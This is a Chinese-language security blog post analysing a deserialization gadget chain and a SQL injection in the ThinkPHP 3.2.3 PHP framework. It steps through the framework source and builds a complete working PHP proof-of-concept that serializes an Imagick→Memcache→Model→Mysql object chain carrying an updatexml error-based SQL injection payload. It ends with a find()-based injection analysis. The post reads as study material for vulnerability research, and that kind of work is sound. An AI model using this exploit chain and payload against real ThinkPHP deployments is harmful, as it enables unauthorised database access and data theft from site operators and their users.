thinkphp3.2.3反序列化初探

前言

摆了好几天,好几个人老说我前言说摆烂,确实是在摆烂,前两天浅学了一下thinkphp3,今天来学学thinkphp3反序列化链构造

反序列化链分析

首先我们需要通过thinkphp来一个反序列化的demo

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $a=unserialize(base64_decode(I('post.data')));
    }
}

php的反序列化和java不同,php的反序列化起点大部分是那俩魔术方法__wakeup和__destruct,因此我们寻找反序列化链就需要去搜寻这种魔术方法,其实有个小技巧,就是在找反序列化起点的类的时候,尽可能去找可控变量多的类,因为可控变量多才能让我们控制程序的可能更大。

image-20220517215939001

这里我们找到Think\Image\Driver\Imagick这个类,他这里的img属性可控

public function __destruct() {
    empty($this->img) || $this->img->destroy();
}

这里判断了img是否为空并且调用了他的destory方法,注意这里的destroy方法是没有参数的,但是我们如果需要构造反序列化链,必须找到同名方法,所以继续去搜索destory方法,但是我们只能找到三个有一个参数的destory的方法,这里的话就有条件了,**在ThinkPHP框架中,调用一个有参函数却不传入参数,这在PHP5中可以这么执行,但在PHP7中却会异常抛出,因此要复现的话不能用PHP7的环境。**所以我们这里选择的是php5版本的,继续看代码,他调用了自身的handler属性的delete方法,但是这里的话只有this->sessionName可控,sessID因为是需要在上面__destruct方法中传入,但是他调用的是无参的方法。

image-20220517225006164

继续往下走,寻找delete方法,来到ThinkPHP/Mode/Lite/Model.class.php。$options默认为空数组

image-20220517231832002

可以看到他如果满足两个if判断的条件就会进入到this>delete,data[this->delete,但是这次传入的参数是data[pk],继续往下走,有个问题就是如果where为键的键值对为空,会直接返回false,解决办法也给出来了,就是设置where=1=1

image-20220517232434092

继续寻找有delete方法的地方,找到ThinkPHP/Library/Think/Db/Driver.class.php

/**
 * 删除记录
 * @access public
 * @param array $options 表达式
 * @return false | integer
 */
public function delete($options=array()) {
    $this->model  =   $options['model'];
    $this->parseBind(!empty($options['bind'])?$options['bind']:array());
    $table  =   $this->parseTable($options['table']);
    $sql    =   'DELETE FROM '.$table;
    if(strpos($table,',')){// 多表删除支持USING和JOIN操作
        if(!empty($options['using'])){
            $sql .= ' USING '.$this->parseTable($options['using']).' ';
        }
        $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
    }
    $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
    if(!strpos($table,',')){
        // 单表删除支持order和limit
        $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
        .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
    }
    $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
    return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
image-20220517233303882

继续跟进parseTable方法

protected function parseTable($tables) {
    if(is_array($tables)) {// 支持别名定义
        $array   =  array();
        foreach ($tables as $table=>$alias){
            if(!is_numeric($table))
                $array[] =  $this->parseKey($table).' '.$this->parseKey($alias);
            else
                $array[] =  $this->parseKey($alias);
        }
        $tables  =  $array;
    }elseif(is_string($tables)){
        $tables  =  explode(',',$tables);
        array_walk($tables, array(&$this, 'parseKey'));
    }
    return implode(',',$tables);
}

parseTable方法判断了一下$tables是否是数组,如果是数组,调用parseKey方法对其键和值进行处理,其实是很危险的,因为parseKey没有进行任何过滤

protected function parseKey(&$key) {
    return $key;
}

因此这里就可以执行SQL语句,可以产生一个SQL注入了

反序列化链构造

首先入口点是ThinkPHP/Library/Think/Image/Driver/Imagick.class.php的__destruct方法,因此我们需要精心构造这个类并且序列化这个类来获得一个POC,因为需要调用$this->img->destory,所以需要带上img参数,先写出最开始的一步

<?php
namespace Think\Image\Driver{
    use Think\Image;
    class Imagick{
        private $img;
    }
}

他的下一步是ThinkPHP/Library/Think/Session/Driver/Memcache.class.php的destory方法,这里他是需要通过调用$this->handle->delete($this->sessionName.$sessID);,因此需要把Memcache也写进来,并且带上handle属性

<?php
namespace Think\Image\Driver{
    use Think\Image;
    class Imagick{
        private $img;
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle = null;
    }
}

然后他需要去调用ThinkPHP/Mode/Lite/Model.class.php的delete方法,这里是有参数需要传入的,所以我们得考虑参数的问题,但是之前在分析的时候说了,需要满足两个if条件,此时optionsgetPkpkdatadatadata[options传入空数组即可满足,但是他还需要调用getPk,因此pk属性是必须的,并且会判断data是否为空,为空则不满足,所以data必须并且非空,并且需要data[pk]不为空和null,到现在为止目前的代码如下

<?php
namespace Think\Image\Driver{
    use Think\Image;
    class Imagick{
        private $img;
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle = null;
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
    }
}

下一步是调用ThinkPHP/Library/Think/Db/Driver.class.php的delete方法,现在就需要我们精心构造我们的optionsoptions了,从结尾开始,首先`this->parseTable(options[table]);,tabletablesqlsqlwhere=1=1ThinkPHP/Mode/Lite/Model.class.php>data[options['table']);`,他至少需要有一个table为键的键值对,这里的table是拼接sql语句并且执行,所以我们只要拼接恶意的sql语句即可,并且需要在上一步中满足where=1=1。并且这个数组是第二次被处理的,只是`ThinkPHP/Mode/Lite/Model.class.php->data[pk],也是ThinkPHP/Mode/Lite/Model.class.php->data[$this->pk]`,并且在第一次的delete中where对应的值也是空,所以构造恶意的array后,代码如下

<?php
namespace Think\Image\Driver{
    use Think\Image;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new \Think\Session\Driver\Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle = null;
        public function __construct(){
            $this->img=new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
        public function __construct()
        {
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

            );
        }
    }
}
namespace Home\Controller{
    use Think\Controller;
    class DemoController extends Controller {
        public function index(){
            echo base64_encode(serialize(new \Think\Image\Driver\Imagick() ));
        }
    }
}

但是如果拿这个poc去打,会发现有问题

image-20220518000853986

其实这里忽略了一个点,就是在执行sql语句的地方,ThinkPHP/Library/Think/Db/Driver.class.php->execute,他有这么一行代码$this->initConnect(true);,他是进行一个初始化数据连接的操作,这里很明显是单数据库,所以要进入connect方法

/**
 * 初始化数据库连接
 * @access protected
 * @param boolean $master 主服务器
 * @return void
 */
protected function initConnect($master=true) {
    if(!empty($this->config['deploy']))
        // 采用分布式数据库
        $this->_linkID = $this->multiConnect($master);
    else
        // 默认单数据库
        if ( !$this->_linkID ) $this->_linkID = $this->connect();
}

connect方法如下

public function connect($config='',$linkNum=0,$autoConnection=false) {
    if ( !isset($this->linkID[$linkNum]) ) {
        if(empty($config))  $config =   $this->config;
        try{
            if(empty($config['dsn'])) {
                $config['dsn']  =   $this->parseDsn($config);
            }
            if(version_compare(PHP_VERSION,'5.3.6','<=')){ 
                // 禁用模拟预处理语句
                $this->options[PDO::ATTR_EMULATE_PREPARES]  =   false;
            }
            $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
        }catch (\PDOException $e) {
            if($autoConnection){
                trace($e->getMessage(),'','ERR');
                return $this->connect($autoConnection,$linkNum);
            }elseif($config['debug']){
                E($e->getMessage());
            }
        }
    }
    return $this->linkID[$linkNum];
}

在第二个if判断,判断$config是否为空,为空则从自身的config从获取,在初始化方法中明显没有参数,所以这里直接从自身的config中获取,所以我们还需要初始化数据库的连接。最后poc如下

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;

    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
        protected $db=null;

        public function __construct()
        {
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql {
        protected $config     = array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  'localhost', // 服务器地址
            'database'          =>  'thinkphp',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
        );
    }
}
namespace Home\Controller{
    use Think\Controller;
    class DemoController extends Controller {
        public function index(){
            echo base64_encode(serialize(new \Think\Image\Driver\Imagick() ));
        }
    }
}
image-20220518001431091

Thinkphp3.2.3 SQL注入

这里再补一个该版本的SQL注入分析吧,因为感觉如果要重新开一篇比较麻烦,直接就在这继续了。首先我们得制造一个漏洞点

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $data = M('User')->find(I('GET.id'));
        var_dump($data);
    }
}

ok,我们传入一个id参数,然后用I方法获取。并且调用了find方法,这里的问题就是出在find方法,来随便看看吧

if(is_numeric($options) || is_string($options)) {
    $where[$this->getPk()]  =   $options;
    $options                =   array();
    $options['where']       =   $where;
}

这里判断了options是数字或者字符串,如果是的话,直接指定当前查询表的主键为查询字段。同时他也提供了根据复合主键查找记录的功能

$pk  =  $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
    // 根据复合主键查询
    $count = 0;
    foreach (array_keys($options) as $key) {
        if (is_int($key)) $count++; 
    } 
    if ($count == count($pk)) {
        $i = 0;
        foreach ($pk as $field) {
            $where[$field] = $options[$i];
            unset($options[$i++]);
        }
        $options['where']  =  $where;
    } else {
        return false;
    }
}

他是先判断options是否是一个长度大于0的数组并且pk也是一个数组,满足以上条件才能进入if语句,这里的话有两个if语句,但是我们可以直接绕过这两个if语句直接进入到$options=$this->_parseOptions($options);部分,不满足第一个if需要options是一个数组,满足第二部分需要options数组长度大于0并且pk需要是一个数组,我们现在只要让pk不是数组即可绕过,后面的话就是正常的构造注入语句了。